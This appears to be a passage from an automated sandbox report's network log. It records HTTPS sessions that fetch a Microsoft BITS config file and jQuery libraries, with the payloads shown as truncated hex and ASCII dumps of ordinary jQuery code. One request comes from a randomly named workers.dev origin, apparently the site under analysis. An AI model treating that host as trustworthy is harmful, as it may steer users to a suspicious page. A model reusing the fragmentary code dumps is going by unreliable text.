e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(p,"")},makeArray
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 2c 49 3d 22 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5c 5c 77 2d 5d 7c 5b 5e 5c 30 2d 5c 5c 78 61 30 5d 29 2b 22 2c 57 3d 22 5c 5c 5b 22 2b 4d 2b 22 2a 28 22 2b 49 2b 22 29 28 3f 3a 22 2b 4d 2b 22 2a 28 5b 2a 5e 24 7c 21 7e 5d 3f 3d 29 22 2b 4d 2b 22 2a 28 3f 3a 27 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 27 5d 29 2a 29 27 7c 5c 22 28 28 3f 3a 5c 5c 5c 5c 2e 7c 5b 5e 5c 5c 5c 5c 5c 22 5d 29 2a 29 5c 22 7c 28 22 2b 49 2b 22 29 29 7c 29 22 2b 4d 2b 22 2a 5c 5c Data Ascii: trols\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t\\r\\n\\f]",I="(?:\\\\.\|[\\w-]\|[^\0-\\xa0])+",W="\\["+M+"("+I+")(?:"+M+"([^$\|!~]?=)"+M+"(?:'((?:\\\\.\|[^\\\\']))'\|\"((?:\\\\.\|[^\\\\\"]))\"\|("+I+"))\|)"+M+"*\\
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c 78 37 66 2d 5c 75 46 46 46 46 5c 77 2d 5d 2f 67 2c 69 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3f 22 5c 30 22 3d 3d 3d 65 3f 22 5c 75 66 66 66 64 22 3a 65 2e 73 6c 69 63 65 28 30 2c 2d 31 29 2b 22 5c 5c 22 2b 65 2e 63 68 61 72 43 6f 64 65 41 74 28 65 2e 6c 65 6e 67 74 68 2d 31 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 2b 22 20 22 3a 22 5c 5c 22 2b 65 7d 2c 6f 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 54 28 29 7d 2c 61 65 3d 62 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 21 30 3d 3d 3d 65 2e 64 69 73 61 62 6c 65 64 26 26 22 66 69 65 6c 64 73 65 74 22 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 Data Ascii: },re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 65 29 7b 41 28 74 2c 21 30 29 7d 66 69 6e 61 6c 6c 79 7b 73 3d 3d 3d 6b 26 26 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 7d 7d 7d 72 65 74 75 72 6e 20 67 28 74 2e 72 65 70 6c 61 63 65 28 42 2c 22 24 31 22 29 2c 65 2c 6e 2c 72 29 7d 66 75 6e 63 74 69 6f 6e 20 75 65 28 29 7b 76 61 72 20 72 3d 5b 5d 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 20 65 28 74 2c 6e 29 7b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 28 74 2b 22 20 22 29 3e 62 2e 63 61 63 68 65 4c 65 6e 67 74 68 26 26 64 65 6c 65 74 65 20 65 5b 72 2e 73 68 69 66 74 28 29 5d 2c 65 5b 74 2b 22 20 22 5d 3d 6e 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 65 28 65 29 7b 72 65 74 75 72 6e 20 65 5b 6b 5d 3d Data Ascii: uerySelectorAll(c)),n}catch(e){A(t,!0)}finally{s===k&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[k]=
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 52 49 2c 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 72 65 74 75 72 6e 21 59 2e 74 65 73 74 28 74 7c 7c 6e 26 26 6e 2e 6e 6f 64 65 4e 61 6d 65 7c 7c 22 48 54 4d 4c 22 29 7d 2c 54 3d 73 65 2e 73 65 74 44 6f 63 75 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 2c 72 3d 65 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 3a 6d 3b 72 65 74 75 72 6e 20 72 21 3d 3d 43 26 26 39 3d 3d 3d 72 2e 6e 6f 64 65 54 79 70 65 26 26 72 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 26 26 28 61 3d 28 43 3d 72 29 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2c 45 3d 21 69 28 43 29 2c 6d 21 3d 3d 43 26 26 28 6e 3d 43 2e 64 65 66 61 75 6c 74 56 69 65 77 29 26 26 6e 2e Data Ascii: RI,n=(e.ownerDocument\|\|e).documentElement;return!Y.test(t\|\|n&&n.nodeName\|\|"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument\|\|e:m;return r!==C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),m!==C&&(n=C.defaultView)&&n.
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 65 74 75 72 6e 5b 5d 7d 7d 29 2c 62 2e 66 69 6e 64 2e 54 41 47 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 3f 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3a 64 2e 71 73 61 3f 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 65 29 3a 76 6f 69 64 20 30 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 5b 5d 2c 69 3d 30 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 65 29 3b 69 66 28 22 2a 22 3d 3d 3d 65 29 7b 77 68 69 6c 65 28 6e 3d 6f 5b 69 2b 2b 5d 29 31 Data Ascii: eturn[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 3a 64 69 73 61 62 6c 65 64 22 29 2e 6c 65 6e 67 74 68 26 26 76 2e 70 75 73 68 28 22 3a 65 6e 61 62 6c 65 64 22 2c 22 3a 64 69 73 61 62 6c 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2a 2c 3a 78 22 29 2c 76 2e 70 75 73 68 28 22 2c 2e 2a 3a 22 29 7d 29 29 2c 28 64 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 4b 2e 74 65 73 74 28 63 3d 61 2e 6d 61 74 63 68 65 73 7c 7c 61 2e 77 65 62 6b 69 74 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6d 6f 7a 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6f 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 7c 7c 61 2e 6d 73 4d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 29 29 26 26 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d Data Ascii: :disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll(",:x"),v.push(",.:")})),(d.matchesSelector=K.test(c=a.matches\|\|a.webkitMatchesSelector\|\|a.mozMatchesSelector\|\|a.oMatchesSelector\|\|a.msMatchesSelector))&&ce(function(e){d.disconnectedM
2024-04-29 00:01:25 UTC	1378	IN	Data Raw: 7d 29 2c 43 7d 2c 73 65 2e 6d 61 74 63 68 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 73 65 28 65 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 74 29 7d 2c 73 65 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 21 3d 3d 43 26 26 54 28 65 29 2c 64 2e 6d 61 74 63 68 65 73 53 65 6c 65 63 74 6f 72 26 26 45 26 26 21 41 5b 74 2b 22 20 22 5d 26 26 28 21 73 7c 7c 21 73 2e 74 65 73 74 28 74 29 29 26 26 28 21 76 7c 7c 21 76 2e 74 65 73 74 28 74 29 29 29 74 72 79 7b 76 61 72 20 6e 3d 63 2e 63 61 6c 6c 28 65 2c 74 29 3b 69 66 28 6e 7c 7c 64 2e 64 69 73 63 6f 6e 6e 65 63 74 65 64 4d 61 74 63 68 7c 7c 65 2e 64 6f 63 75 6d 65 6e 74 26 26 31 31 Data Ascii: }),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if((e.ownerDocument\|\|e)!==C&&T(e),d.matchesSelector&&E&&!A[t+" "]&&(!s\|\|!s.test(t))&&(!v\|\|!v.test(t)))try{var n=c.call(e,t);if(n\|\|d.disconnectedMatch\|\|e.document&&11

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49748	104.78.251.135	443

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:33 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-29 00:01:33 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0790) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-eus-z1 Cache-Control: public, max-age=111683 Date: Mon, 29 Apr 2024 00:01:33 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49750	104.78.251.135	443

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-29 00:01:33 UTC	774	IN	HTTP/1.1 200 OK Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-CID: 7 X-CCC: US X-Azure-Ref-OriginShield: Ref A: 8BFC17DD061B46CAAD2B2AEB7B19C3D8 Ref B: CH1AA2040901011 Ref C: 2023-07-21T06:04:00Z X-MSEdge-Ref: Ref A: 1421F39FA7224BE199CC2F2C3DD24574 Ref B: CHI30EDGE0415 Ref C: 2023-07-21T06:04:00Z Content-Type: application/octet-stream X-Azure-Ref: 0DMGnYgAAAACXaXykPZuVRq4aV6pCkeO8U0pDRURHRTAzMTgAY2VmYzI1ODMtYTliMi00NGE3LTk3NTUtYjc2ZDE3ZTA1Zjdm Cache-Control: public, max-age=111727 Date: Mon, 29 Apr 2024 00:01:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-29 00:01:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	151.101.2.137	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:34 UTC	586	OUT	GET /jquery-3.1.1.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:34 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 86709 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-152b5" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 29 Apr 2024 00:01:34 GMT Age: 4116959 X-Served-By: cache-lga21947-LGA, cache-chi-kigq8000057-CHI X-Cache: HIT, HIT X-Cache-Hits: 1906, 1 X-Timer: S1714348894.444456,VS0,VE7 Vary: Accept-Encoding
2024-04-29 00:01:34 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 31 2e 31 20 7c 20 28 63 29 20 6a 51 75 65 72 79 20 46 6f 75 6e 64 61 74 69 6f 6e 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 61 2e 64 6f 63 75 6d 65 6e 74 3f 62 28 61 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 21 61 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20 72 65 71 75 69 72 65 73 20 61 20 77 69 6e 64 6f 77 20 77 Data Ascii: /! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window w
2024-04-29 00:01:34 UTC	16384	IN	Data Raw: 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 74 26 26 28 73 26 26 28 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6b 5b 61 5d 3d 5b 77 2c 74 5d 29 2c 6d 3d 3d 3d 62 29 29 62 72 65 61 6b 3b 72 65 74 75 72 6e 20 74 2d 3d 65 2c 74 3d 3d 3d 64 7c 7c 74 25 64 3d 3d 3d 30 26 26 74 2f 64 3e 3d 30 7d 7d 7d 2c 50 53 45 55 44 4f 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 2c 65 3d 64 2e 70 73 65 75 64 6f 73 5b 61 5d 7c 7c 64 2e 73 65 74 46 69 6c 74 65 72 73 5b 61 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 67 61 2e 65 72 72 6f 72 28 22 75 6e 73 75 70 70 6f 72 74 65 64 20 70 73 65 75 64 6f 3a 20 22 2b 61 29 3b 72 65 74 Data Ascii: ===m.nodeType)&&++t&&(s&&(l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d\|\|t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]\|\|d.setFilters[a.toLowerCase()]\|\|ga.error("unsupported pseudo: "+a);ret
2024-04-29 00:01:34 UTC	16384	IN	Data Raw: 64 3d 31 2c 55 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 62 7c 7c 28 62 3d 7b 7d 2c 54 28 61 29 26 26 28 61 2e 6e 6f 64 65 54 79 70 65 3f 61 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 62 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 2c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6c 75 65 3a 62 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 29 29 29 2c 62 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 2c 65 3d 74 68 69 73 2e 63 61 63 68 65 28 61 29 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 29 65 5b 72 2e 63 61 6d 65 6c 43 61 73 65 Data Ascii: d=1,U.prototype={cache:function(a){var b=a[this.expando];return b\|\|(b={},T(a)&&(a.nodeType?a[this.expando]=b:Object.defineProperty(a,this.expando,{value:b,configurable:!0}))),b},set:function(a,b,c){var d,e=this.cache(a);if("string"==typeof b)e[r.camelCase
2024-04-29 00:01:34 UTC	16384	IN	Data Raw: 65 26 26 39 21 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 28 74 68 69 73 2e 74 65 78 74 43 6f 6e 74 65 6e 74 3d 61 29 7d 29 7d 2c 6e 75 6c 6c 2c 61 2c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7d 2c 61 70 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 31 31 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 74 68 69 73 2e 6e 6f 64 65 54 79 70 65 29 7b 76 61 72 20 62 3d 44 61 28 74 68 69 73 2c 61 29 3b 62 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 7d 29 7d 2c 70 72 65 70 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 49 61 28 Data Ascii: e&&9!==this.nodeType\|\|(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ia(this,arguments,function(a){if(1===this.nodeType\|\|11===this.nodeType\|\|9===this.nodeType){var b=Da(this,a);b.appendChild(a)}})},prepend:function(){return Ia(
2024-04-29 00:01:34 UTC	16384	IN	Data Raw: 73 2e 73 65 6c 65 63 74 65 64 3d 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 62 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 6e 75 6c 6c 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 61 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 62 26 26 28 62 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 2c 62 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 62 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 73 65 6c 65 63 74 65 64 49 6e 64 65 78 29 7d 7d 29 2c 72 2e 65 61 63 68 28 5b 22 74 61 62 49 6e 64 65 78 22 2c 22 72 65 61 64 4f 6e 6c 79 22 2c 22 6d 61 78 4c 65 6e 67 74 68 22 2c 22 63 65 6c 6c 53 70 61 63 Data Ascii: s.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpac
2024-04-29 00:01:34 UTC	4789	IN	Data Raw: 3d 62 2e 6a 73 6f 6e 70 21 3d 3d 21 31 26 26 28 52 62 2e 74 65 73 74 28 62 2e 75 72 6c 29 3f 22 75 72 6c 22 3a 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 61 74 61 26 26 30 3d 3d 3d 28 62 2e 63 6f 6e 74 65 6e 74 54 79 70 65 7c 7c 22 22 29 2e 69 6e 64 65 78 4f 66 28 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 29 26 26 52 62 2e 74 65 73 74 28 62 2e 64 61 74 61 29 26 26 22 64 61 74 61 22 29 3b 69 66 28 68 7c 7c 22 6a 73 6f 6e 70 22 3d 3d 3d 62 2e 64 61 74 61 54 79 70 65 73 5b 30 5d 29 72 65 74 75 72 6e 20 65 3d 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 61 63 6b 29 3f 62 2e 6a 73 6f 6e 70 43 61 6c 6c 62 Data Ascii: =b.jsonp!==!1&&(Rb.test(b.url)?"url":"string"==typeof b.data&&0===(b.contentType\|\|"").indexOf("application/x-www-form-urlencoded")&&Rb.test(b.data)&&"data");if(h\|\|"jsonp"===b.dataTypes[0])return e=b.jsonpCallback=r.isFunction(b.jsonpCallback)?b.jsonpCallb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49752	151.101.2.137	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:34 UTC	644	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://cloudsss-c367.iardainwkasn.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:34 UTC	566	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1819026 Date: Mon, 29 Apr 2024 00:01:34 GMT X-Served-By: cache-lga21963-LGA, cache-chi-kigq8000034-CHI X-Cache: HIT, HIT X-Cache-Hits: 3, 0 X-Timer: S1714348894.449352,VS0,VE1 Vary: Accept-Encoding
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-04-29 00:01:34 UTC	1378	IN	Data Raw: 5b 61 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 61 29 3b 72 65 74 75 72 6e 20 62 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 62 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 72 2e 65 61 63 68 28 74 68 69 73 2c 61 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 72 2e 6d 61 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 28 62 2c 63 2c 62 29 7d 29 29 7d 2c 73 6c 69 63 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 Data Ascii: [a]},pushStack:function(a){var b=r.merge(this.constructor(),a);return b.prevObject=this,b},each:function(a){return r.each(this,a)},map:function(a){return this.pushStack(r.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushSta
